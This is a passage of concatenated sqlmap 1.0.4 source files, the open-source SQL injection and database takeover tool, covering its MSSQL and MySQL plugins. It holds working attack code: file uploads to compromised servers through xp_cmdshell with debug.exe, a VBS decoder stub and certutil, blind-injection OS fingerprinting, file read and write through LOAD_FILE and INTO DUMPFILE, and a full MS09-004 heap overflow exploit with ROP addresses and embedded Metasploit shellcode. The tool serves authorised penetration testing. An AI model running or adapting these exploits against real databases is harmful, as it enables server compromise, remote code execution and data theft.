dFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType infoMsg += "file content to file '%s', please wait.." % dFile logger.info(infoMsg) dFileName = ntpath.basename(dFile) sFile = "%s\%s" % (tmpPath, dFileName) wFileSize = os.path.getsize(wFile) debugSize = 0xFF00 if wFileSize < debugSize: chunkName = self._updateDestChunk(wFileContent, tmpPath) debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType) debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile) logger.debug(debugMsg) commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) else: debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg += "sqlmap will split it into chunks locally, upload " debugMsg += "it chunk by chunk and recreate the original file " debugMsg += "on the server, please wait.." logger.debug(debugMsg) for i in xrange(0, wFileSize, debugSize): wFileChunk = wFileContent[i:i + debugSize] chunkName = self._updateDestChunk(wFileChunk, tmpPath) if i == 0: debugMsg = "renaming chunk " copyCmd = "ren %s %s" % (chunkName, dFileName) else: debugMsg = "appending chunk " copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) logger.debug(debugMsg) commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName) complComm = " & ".join(command for command in commands) self.execCmd(complComm) logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using a custom visual basic script to write the " infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile) logger.info(infoMsg) randVbs = "tmps%s.vbs" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) vbs = """Dim inputFilePath, outputFilePath inputFilePath = "%s" outputFilePath = "%s" Set fs = CreateObject("Scripting.FileSystemObject") Set file = fs.GetFile(inputFilePath) If file.Size Then Wscript.Echo "Loading from: " & inputFilePath Wscript.Echo Set fd = fs.OpenTextFile(inputFilePath, 1) data = fd.ReadAll fd.Close data = Replace(data, " ", "") data = Replace(data, vbCr, "") data = Replace(data, vbLf, "") Wscript.Echo "Fixed Input: " Wscript.Echo data Wscript.Echo decodedData = base64_decode(data) Wscript.Echo "Output: " Wscript.Echo decodedData Wscript.Echo Wscript.Echo "Writing output in: " & outputFilePath Wscript.Echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True) ofs.Write decodedData ofs.close Else Wscript.Echo "The file is empty." End If Function base64_decode(byVal strIn) Dim w1, w2, w3, w4, n, strOut For n = 1 To Len(strIn) Step 4 w1 = mimedecode(Mid(strIn, n, 1)) w2 = mimedecode(Mid(strIn, n + 1, 1)) w3 = mimedecode(Mid(strIn, n + 2, 1)) w4 = mimedecode(Mid(strIn, n + 3, 1)) If Not w2 Then _ strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) If Not w3 Then _ strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) If Not w4 Then _ strOut = strOut + Chr(((w3 * 64 + w4) And 255)) Next base64_decode = strOut End Function Function mimedecode(byVal strIn) Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" If Len(strIn) = 0 Then mimedecode = -1 : Exit Function Else mimedecode = InStr(Base64Chars, strIn) - 1 End If End Function""" % (randFilePath, dFile) vbs = vbs.replace(" ", "") encodedFileContent = base64encode(wFileContent) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs)) self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs, "del /F /Q %s" % randVbs, "del /F /Q %s" % randFile) complComm = " & ".join(command for command in commands) self.execCmd(complComm) def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using certutil.exe to write the %s " % fileType infoMsg += "file content to file '%s', please wait.." % dFile logger.info(infoMsg) chunkMaxSize = 500 randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) encodedFileContent = base64encode(wFileContent) splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) logger.debug("decoding the file to %s.." % dFile) commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile), "del /F /Q %s" % randFile) complComm = " & ".join(command for command in commands) self.execCmd(complComm) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server # file system self.initEnv() self.getRemoteTempPath() tmpPath = posixToNtSlashes(conf.tmpPath) dFile = posixToNtSlashes(dFile) with open(wFile, "rb") as f: wFileContent = f.read() self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the custom Visual Basic script technique? [Y/n] " choice = readInput(message, default="Y") if not choice or choice.lower() == "y": self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in debug.exe technique? [Y/n] " choice = readInput(message, default="Y") if not choice or choice.lower() == "y": self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in certutil.exe technique? [Y/n] " choice = readInput(message, default="Y") if not choice or choice.lower() == "y": self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) return written sqlmap-1.0.4/plugins/dbms/mssqlserver/fingerprint.py000066400000000000000000000152441270044205500227130ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MSSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MSSQL) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None if release and version and servicepack: banVer = "%s %s " % (DBMS.MSSQL, release) banVer += "Service Pack %s " % servicepack banVer += "version %s" % version value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \ ("2005", "XACT_STATE()=XACT_STATE()"), \ ("2008", "SYSDATETIME()=SYSDATETIME()"), \ ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)")): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions # http://en.wikipedia.org/wiki/Windows_NT#Releases versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (3, 2, 1)), "2003": ("5.2", (2, 1)), "Vista or 2008": ("6.0", (2, 1)), "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0,)), "8.1 or 2012 R2": ("6.3", (0,)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True) sqlmap-1.0.4/plugins/dbms/mssqlserver/syntax.py000066400000000000000000000013671270044205500217130ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar' """ def escaper(value): return "+".join("%s(%d)" % ("CHAR" if ord(value[i]) < 256 else "NCHAR", ord(value[i])) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper) sqlmap-1.0.4/plugins/dbms/mssqlserver/takeover.py000066400000000000000000000144121270044205500222000ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import binascii from lib.core.common import Backend from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.spExploit = "" GenericTakeover.__init__(self) def uncPathRequest(self): #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) def spHeapOverflow(self): """ References: * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx * http://support.microsoft.com/kb/959420 """ returns = { # 2003 Service Pack 0 "2003-0": (""), # 2003 Service Pack 1 "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), # 2003 Service Pack 2 updated at 12/2008 #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), # 2003 Service Pack 2 updated at 05/2009 "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 09/2009 #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), } addrs = None for versionSp, data in returns.items(): version, sp = versionSp.split("-") sp = int(sp) if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp: addrs = data break if not addrs: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" hexStr = binascii.hexlify(self.shellcodeString[:-1]) for hexPair in xrange(0, len(hexStr), 2): shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2] shellcodeChar = shellcodeChar[:-1] self.spExploit = """DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 BEGIN SET @counter = @counter + 1 IF @counter = 411 BEGIN /* pointer to call [ecx+8] */ SET @buf = @buf + %s /* push ebp, pop esp, ret 4 */ SET @buf = @buf + %s /* push ecx, pop esp, pop ebp, retn 8 */ SET @buf = @buf + %s /* Garbage */ SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) /* retn 1c */ SET @buf = @buf + %s /* retn 1c */ SET @buf = @buf + %s /* anti DEP */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) /* Metasploit shellcode */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) SET @counter = @counter + 302 SET @val = CHAR(0x43) CONTINUE END SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' EXEC master..sp_executesql @buf """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") logger.info("triggering the buffer overflow vulnerability, please wait..") inject.goStacked(self.spExploit, silent=True) sqlmap-1.0.4/plugins/dbms/mysql/000077500000000000000000000000001270044205500165635ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/mysql/__init__.py000066400000000000000000000024551270044205500207020ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MYSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mysql.enumeration import Enumeration from plugins.dbms.mysql.filesystem import Filesystem from plugins.dbms.mysql.fingerprint import Fingerprint from plugins.dbms.mysql.syntax import Syntax from plugins.dbms.mysql.takeover import Takeover from plugins.generic.misc import Miscellaneous class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines MySQL methods """ def __init__(self): self.excludeDbsList = MYSQL_SYSTEM_DBS self.sysUdfs = { # UDF name: UDF return data-type "sys_exec": { "return": "int" }, "sys_eval": { "return": "string" }, "sys_bineval": { "return": "int" } } Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.MYSQL] = Syntax.escape sqlmap-1.0.4/plugins/dbms/mysql/connector.py000066400000000000000000000037761270044205500211440ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import pymysql except ImportError: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://code.google.com/p/pymysql/ User guide: http://code.google.com/p/pymysql/ API: http://code.google.com/p/pymysql/ Debian package: License: MIT Possible connectors: http://wiki.python.org/moin/MySQL """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) except (pymysql.OperationalError, pymysql.InternalError), msg: raise SqlmapConnectionException(msg[1]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except pymysql.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except (pymysql.OperationalError, pymysql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except pymysql.InternalError, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal sqlmap-1.0.4/plugins/dbms/mysql/enumeration.py000066400000000000000000000005051270044205500214630ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) sqlmap-1.0.4/plugins/dbms/mysql/filesystem.py000066400000000000000000000131441270044205500213240ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapNoneDataException from lib.request import inject from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def nonStackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % rFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % rFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): warnMsg += ", going to fall-back to simpler UNION technique" logger.warn(warnMsg) result = self.nonStackedReadFile(rFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) sustrLen = 1024 if length > sustrLen: result = [] for i in xrange(1, length, sustrLen): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warn(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(wFile, dFile, forceCheck) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the hexadecimal encoded file to the support table") for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) return self.askCheckWrittenFile(wFile, dFile, forceCheck) sqlmap-1.0.4/plugins/dbms/mysql/fingerprint.py000066400000000000000000000255011270044205500214670ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MYSQL) def _commentCheck(self): infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/* NoValue */") if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL logger.warn(warnMsg) return None # MySQL valid versions updated on 04/2011 versions = ( (32200, 32235), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40131), # MySQL 4.1 (50000, 50092), # MySQL 5.0 (50100, 50156), # MySQL 5.1 (50400, 50404), # MySQL 5.4 (50500, 50521), # MySQL 5.5 (50600, 50604), # MySQL 5.6 (60000, 60014), # MySQL 6.0 ) index = -1 for i in xrange(len(versions)): element = versions[i] version = element[0] version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: break else: index += 1 if index >= 0: prevVer = None for version in xrange(versions[index][0], versions[index][1] + 1): version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not hasattr(conf, "api"): value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not hasattr(conf, "api"): value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = Format.getDbms([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) 